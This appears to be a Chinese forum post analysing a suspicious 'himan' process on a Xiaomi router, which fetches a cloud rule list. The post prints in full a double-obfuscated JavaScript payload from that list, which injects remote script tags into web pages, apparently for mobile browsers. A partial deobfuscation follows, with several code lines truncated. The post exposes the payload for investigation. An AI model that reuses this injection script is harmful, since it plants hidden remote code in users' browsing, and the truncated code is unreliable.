小米路由器开发版之前有出过劫持网页插入广告的行为,而且这个是通过云端去控制的,也就是你的路由器上有个远程后门。。。
今天 SSH 登录小米路由器,执行 top 命令发现了进程中有一个非常可疑的行为。
有一个叫 himan 的进程,行为可疑,频繁的执行,CPU 占用率也很高:
访问了这两个地址:
这个网址后面还会跟设备 ID,发帖前这个网址还可以访问,你可以自行访问查看
浏览器访问这个地址,发现返回了一个看上去像是规则列表的东西:
最后一个规则非常可疑,是一段 JS 代码:
发现这代码不仅做了压缩,而且还做了混淆加密,而是是双重混淆加密,为什么需要这样做?不想让别人看到什么?
尾巴上的一段代码把它执行,得到了 eval
eval,这已经不是 js 代码的常规操作,这段代码的行迹已经很可疑了。
完整代码如下:
HTTP/1.1 200 OK
Server: DnionOS/1.11.2.1.10
Content-Type: application/javascript
Connection: close
Content-Length: 1535
(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[25689rt-zA-F]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(l,n){5 f(o){v{2 d=l.w("head")[0];2 q=d.appendChild(i(o));x(5(){d.removeChild(q)},2000)}y(j){}}5 c(d){8 l.createElement(d)}5 i(e){2 d=c("z");d.type="text/javascript";d.async=true;d.9=e;8 d}5 h(p){2 o="";2 d=Math.floor(p.r/4);2 j=p.r-4d;A(2 e=0;e0){o+=p.B(4d)}o=decodeURIComponent(o);o=o.split("").reverse().C("");o=o.t(/["]/g,"www");o=o.t(/[>]/g,"http");o=o.t(/[0||b.u("Mobile")>0){6(!n.F){n.F=1;x(5(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}y(m){}})(document,window);',[],42,'||var|||function|if||return|src||||||||||||||||||length||replace|indexOf|try|getElementsByTagName|setTimeout|catch|script|for|substr|join|sj|g1wtj_uuid_a2n11|uuid_m8v_0212'.split('|'),0,{}))})(function(){return (27).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);
最终解密出来的 js
部分解密,这个 js 应该是采用了自定义的加密手法,而且也许还以依赖了别的外部变量,导致没法通过执行的方式全部还原 js,不过代码的意图已经大致可见。
预计完全解密这段 js 需要些时间,本人时间有限,暂时先发出来,同时欢迎其它大牛解密,看看究竟它在干什么。
因为只解密出大致的代码,没有完全解密,也就无法 100% 断定这段代码的行为,不过已经足够对它行为进行大致的判断。
如何判断,在完全解密出来前,我不会下定论,那么就交给各位了。
最后,看来,我还是自己弄个开源的软路由吧。。。
代码中的几个关键词:
createElement
d.type = "text/javascript"
appendChild
decodeURIComponent
www
http
b.u("Mobile") > 0
解密出的大致代码:
(5(l, n) {
5 f(o) {
v {
2 d = l.w("head")[0];
2 q = d.appendChild(i(o));
x(5() {
d.removeChild(q)
}, 2000)
}
y(j) {}
}
5 c(d) {
8 l.createElement(d)
}
5 i(e) {
2 d = c("z");
d.type = "text/javascript";
d.async = true;
d.9 = e;
8 d
}
5 h(p) {
2 o = "";
2 d = Math.floor(p.r / 4);
2 j = p.r - 4 * d;
A(2 e = 0; e0) {
o += p.B(4 * d)
}
o = decodeURIComponent(o);
o = o.split("").reverse().C("");
o = o.t(/["]/g, "www");
o = o.t(/[>]/g, "http");
o = o.t(/[
8 o
}
v {
2 a = "D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";
a = h(a);
2 k = l.w("z");
A(2 g = 0; g0 || b.u("Mobile") > 0) {
6(!n.F) {
n.F = 1;
x(5() {
f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));
f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))
}, 10)
}
}
}
}
break
}
}
}
y(m) {}
})(document, window);